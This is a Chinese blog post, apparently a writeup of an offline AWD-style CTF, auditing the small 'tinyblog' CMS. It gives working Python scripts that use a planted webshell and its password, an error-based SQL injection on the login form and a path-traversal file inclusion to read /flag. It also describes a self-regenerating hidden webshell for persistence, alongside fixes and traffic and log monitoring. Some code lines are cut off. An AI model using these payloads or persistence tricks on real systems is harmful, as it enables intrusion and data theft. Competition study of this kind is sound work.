ctf线下赛mysql密码_CTF线下赛writeup&tinyblog代码审计

原创

Timecompanion 于 2021-02-01 01:10:37 发布 42 收藏
文章标签： ctf线下赛mysql密码

本文链接：https://blog.csdn.net/weixin_33982454/article/details/113561263

前段时间参加了某次CTF线下赛，大多数比赛都是采用主流CMS系统，比如wordpress、pgpcms、dedecms等等，如果对主流CMS漏洞比较熟悉的话可以迅速定位漏洞，发起攻击。而这次比赛采用了小众自写CMS的方式，注重现场快速代码审计。本文将介绍CTF线下赛AWD模式的一些常见套路，以及对tinyblog的代码审计思路。

预留后门

比赛开始，一般比赛方为了比赛的观赏性，一般都会预留后门，这样场上可以迅速打起来，展示画面比较好看，不然过了好几轮都没动静会比较尴尬。迅速找后门的套路一般是将比赛源代码首先备份下来，备份很关键，后面可能在修复漏洞或者被其他队伍攻击的时候服务会挂掉，没有备份很难恢复过来。利用webshell检测工具D盾、河马等对备份进行扫描，一般都可以发现预留后门：

查看一下预留后门内容：

虽然做了变形，但还是可以明显看出来是一句话木马，密码：abcde10db05bd4f6a24c94d7edde441d18545，尝试用菜刀去连：

在根目录下就可以得到flag内容。所以发现后门后需要迅速将自己的后门删掉，同时利用预留后门迅速发起第一波攻击，用菜刀手工连接显然是来不及的，因此需要自动化的攻击脚本：

```
def backdoor(host):

r = requests.post(url="http://%s/Upload/index.php"%host,data=
{"abcde10db05bd4f6a24c94d7edde441d18545":"print('>>>'.file_get_contents('/flag').'<<

flags = re.findall(r'>>>(.+?)<<

if flags:

return flags[0]

else:

return "error pwn!"
```

登陆处SQL注入

接下来，对各种用户交互的地方进行渗透测试，发现在用户登录处存在SQL注入漏洞，在登录名出加'进行测试：

发现报错：

估计存在SQL注入的可能性比较大，审计一下源代码，在Model/Admin.php第16行发现SQL拼接，并且没有任何防护措施：

因此这里可以直接用SQLmap跑：

然后利用–sql-shell选项，执行 select load_file(‘/flag’)即可获得flag：

这里注意一下sqlmap的缓存机制，因为flag每一轮都会变化，如果新一轮继续直接跑的话获得的flag仍然是上一轮的，因此每轮还需要增加–flush-session参数。

当然也可以直接现场编写payload：

```
def sqli(host):

1 r = requests.post(url="http://%s/?p=admin&a=login"%host,data={"email":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","password":"pwd123"})

flags = re.findall(r'~(.+?)~',r.content)

if flags:

return flags[0]

else:

return "error pwn!"
```

修复的话，需要将Admin.php中出问题的代码用预编译的方式进行修复，即：

```
//fix by tinyfisher

$oStmt = $this->oDb->prepare("SELECT email, password FROM Admins WHERE email = ? LIMIT 1");

$oStmt->execute($sEmail);
```

文件包含

这个漏洞利用黑盒测试是很难测出来，必须通过代码审计才能发现，这里我主要用的工具是seay的源代码审计工具，首先将备份文件自动审计一下：

这里发现漏洞并不多，可以一个一个跟进去看一下，问题出现在Engine/Router.php的第21行，直接include $sTemplatePath，而：

```
$sTemplatePath = ROOT_PATH . ‘Template/’ . $aParams[‘template’];
```

所以可以通过控制$aParams[‘template’]来达到任意文件读取。

我们来全局查找一下这个参数：

发现在index.php的33行找到该参数

根据'template' => (!empty($_GET['t']) ? $_GET['t'] : 'pc')，get 参数中如果t为空，则t默认值为pc，因此我们可以控制t，进而控制$aParams['template']，来达到文件包含的效果，payload：/?t=../../../../../../../flag

自动攻击脚本：

```
def include(host):

r = requests.get(url="http://%s/?t=../../../../../../flag"%host)

flags = re.findall(r'^(.+?)

if flags:

return flags[0]

else:

return "error pwn!"
```

修复的话，过滤掉“.”和“/”来快速达到修复效果：

```
$sTemplatePath = str_replace(array(“.”,”\/”), “”, $sTemplatePath);
```

权限维持

对于上面的漏洞，如果其他队伍修复了就没有办法再次利用，因此需要进行权限维持，不然后期就再也得不到分了。常见的权限维持手段是“不死马”，也就是上传一个php文件不断生成webshell：

访问这个php文件之后，会在目录下生成一个.config.php的一句话木马，之所以叫.config.php一方面是隐藏文件，另一方面config这个名字容易掩护自己。里面的内容之所以做了变形处理，也是为了防止其他选手“借刀杀人”，利用自己的shell去攻击其他队伍。

php中ignore_user_abort() 可以实现当客户端关闭后仍然可以执行PHP代码，可保持PHP进程一直在执行，可实现所谓的计划任务功能与持续进程，只需要开启执行脚本，除非 apache等服务器重启或有脚本有输出，该PHP脚本将一直处于执行的状态，因此就可以一直生成一句话木马，用来维持权限。

借刀杀人

比赛当中如果一直被高手打，而又找不到漏洞所在，有没有其他手段可以缩小差距？我们可以监控流量和日志来找到攻击payload，然后利用这个payload攻击其他队伍。比如发现自己被种上了不死马，没有办法杀掉怎么办？那就继续将这个不死马发扬光大，一般攻击者上传的文件路径和内容都是一致的，你被种了不死马意味着在其他队伍的相同位置下也存在不死马，所以直接去利用他得分吧。

流量监控这块，可以在靶机上抓一下流量：

tcpdump –s 0 –w flow.pcap port xxxx

然后在自己的机器上去分析flow.pcap这个文件，一般就可以看到其他队伍的攻击payload，web和pwn都可以使用这个方法。

日志监控这块主要是为了网站访问记录，便于后续的问题排查，就是把各种字段的数据记录下来，包括请求的文件、时间、IP、访问的文件、POST的内容等等。

```
date_default_timezone_set('Asia/Shanghai');

$ip = $_SERVER["REMOTE_ADDR"]; //访问IP

$filename = $_SERVER['PHP_SELF']; //访问的文件

$parameter = $_SERVER["QUERY_STRING"]; //查询的字符串

$method = $_SERVER['REQUEST_METHOD']; //请求方法

...

$time = date('Y-m-d H:i:s',time()); //请求时间

$post = file_get_contents("php://input",'r'); //接收POST数据

$others = '#############################################################################';

$logadd = '访问时间：'.$time.'访问IP:'.$ip.'请求方法：'.$method.' '.'访问链接：'.$filename.'?'.$parameter."\r\n";...

//记录写入

$fh = fopen("log.txt", "a");

fwrite($fh, $logadd);

fwrite($fh,print_r($_COOKIE, true)."\r\n");

fwrite($fh,$others."\r\n");

fclose($fh);
```

附：

比赛源代码下载

链接：https://pan.baidu.com/s/1bqZbLi3 密码：fagg